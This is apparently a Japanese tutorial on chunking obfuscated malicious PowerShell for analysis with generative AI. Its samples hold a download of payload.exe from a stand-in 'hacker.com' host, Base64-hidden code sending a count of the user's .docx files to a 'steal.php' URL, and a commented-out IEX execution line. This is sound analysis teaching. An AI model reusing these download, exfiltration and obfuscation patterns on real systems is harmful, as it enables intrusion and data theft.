皆さん、こんにちは!🕵️♂️
前回の理論の時間では、悪性スクリプトがどのように巧妙に姿を隠すのか、その「難読化手法」について学びました。(覚えていない場合は復習しましょう!📝)
さて、理論武装ができたので、いよいよ実践です!私たちの頼れる味方である生成AI(LLM)に、この複雑なコードを解釈してもらう番です。
しかし、ちょっと待ってください!✋
数千行にも及ぶ巨大な難読化スクリプトを一度に「コピー&ペースト」してAIに投げ込んだらどうなるでしょうか?
🤖 AI: 「申し訳ありません。入力が長すぎます。(トークン制限超過)」または
🤖 AI: (前半を忘れて後半だけを的外れに解釈し)「このコードは単なる文字列変数の宣言ですね。」
はい、その通りです。AIも一度に処理できる量(コンテキストウィンドウ/トークン制限)には限界があります。あまりにも長い内容を一度に与えると、「消化不良」を起こしたり、重要な前後の文脈を忘れてしまう「記憶喪失」の症状を見せます。
ですから、今日の演習は非常に重要です。巨大な怪物のような難読化コードを、AIが消化しやすいように「一口サイズ(チャンク)」に切り分けて与える技術を学びます。🥄

1. なぜ「チャンク」に分ける必要があるのでしょうか?🤔
「チャンク」とは塊という意味です。コードを分割する理由は二つあります。
- トークン制限の克服: ChatGPTやClaudeのようなモデルは、一度の会話で入力および出力できる文字数に制限があります。長い悪性スクリプトは、この制限を簡単に超えてしまいます。
- 精度向上(フォーカス): AIに「この1000行を解釈して」と依頼するよりも、「この50行がどのような役割を果たすか分析して」と狭い範囲を与えた方が、はるかに深く正確な回答を返します。
2. 主要戦略:「どこでも切ってはいけません!」✂️
これが今日の演習の核心です。コードを分割する際には、「文脈(Context)」と「論理的単位(Logical Unit)」を考慮する必要があります。
単に文字数に合わせて切ってしまうと、コマンドが途中で途切れてしまい、AIが文法エラーと認識してしまいます。
❌ 悪い分割例(機械的な分割)
# チャンク1の終わり
$malicious_url = "http://hacker.c
# --- ここで途切れる ---
# チャンク2の始まり
om/payload.exe"
Invoke-WebRequest -Uri $malici...
👉 このように分割すると、AIはチャンク1を見て「文字列が閉じられていないエラーのあるコード」だと考えます。チャンク2は「om/payload.exe」で始まる未知のコードになってしまいます。
✅ 良い分割例(論理的な分割)
# チャンク1:変数宣言部全体
$part1 = "http://";
$part2 = "hacker.com";
$part3 = "/payload.exe";
# --- 論理的単位終了 ---
# チャンク2:実行部全体
$full_url = $part1 + $part2 + $part3;
Invoke-WebRequest -Uri $full_url ...
👉 このように、関数単位、ループ(繰り返し文)単位、または関連する変数宣言ブロック単位で区切る必要があります。
3. [実践] 難読化されたPowerShellスクリプトを分割する 🛠️
さて、ここに攻撃者が実際に使用したものと類似した(しかし安全な)難読化されたPowerShellのサンプルコードがあります。かなり長くて複雑に見えます。
📝 実践サンプルコード(PowerShell)
# --- 巨大な難読化スクリプト開始 ---
<#
This script uses Base64 and string manipulation to hide its intent.
Do not run this on a production machine.
#>
$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (途中にこのような変数宣言が50行さらにあると仮定します) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";
# --- 1次結合 ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- 追加難読化解除 ---
$final_stage = $stage1 + $v_str_D + $v_padding;
# --- 最終実行(コメントアウト済み) ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))
STEP 1. 全体像を把握する 🌳
コードを一度ざっと見てみます。
- 前半部分は、$v_str_A、$v_str_BのようにBase64でエンコードされた長い文字列変数の宣言が主です。
- 後半部分は、これらの変数を結合し(+)、パディング(==)を付けて、最終的にデコードして実行(IEX)しようとする構造です。
STEP 2. 「ハサミを入れる」ポイントを探す 📍
どこを分割すれば良いでしょうか?
- 最初のポイント: 多数のBase64変数宣言を一つのチャンクにまとめます。これらは文脈上、同じ役割を果たすからです。
- 二番目のポイント: 変数を結合し、最終実行を準備するロジックを二番目のチャンクにまとめます。
STEP 3. 実際に分割する(コピー&ペーストの準備)
📦 [チャンク1:データ宣言部]
<# 청크 1 시작: Base64 변수 선언 블록 #>
$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (中間変数省略) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";
<# 청크 1 끝 #>
📦 [チャンク2:結合および実行ロジック]
<# 청크 2 시작: 결합 및 실행부 #>
# --- 1次結合 ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- 追加難読化解除 ---
$final_stage = $stage1 + $v_str_D + $v_padding;
# --- 最終実行(コメントアウト済み) ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))
<# 청크 2 끝 #>
4. まとめ:AIに与える準備完了!🍽️
さて、これで巨大なコードを二つの論理的な塊にきれいに分割できました。
次回の演習では、このように準備したチャンクを実際にAIに順番に入力しながら、「これは最初の部分です。これらの変数が何であるか解釈してください。次の部分を続けて与えます。」と文脈を維持して対話する方法を学びます。
今日の演習の核心は、「コードを分割する際に文法や論理が壊れないように注意する」という点です。これを必ず覚えておいてください!
それでは、また次回お会いしましょう!👋
コメントを残す